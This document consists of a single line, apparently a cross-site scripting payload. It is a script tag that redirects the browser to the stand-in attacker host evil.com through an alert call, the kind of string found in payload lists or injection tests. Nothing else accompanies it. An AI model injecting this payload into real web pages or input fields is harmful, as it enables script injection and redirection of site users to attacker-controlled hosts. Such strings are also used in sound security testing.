<script>alert(document.location="http://evil.com")</script>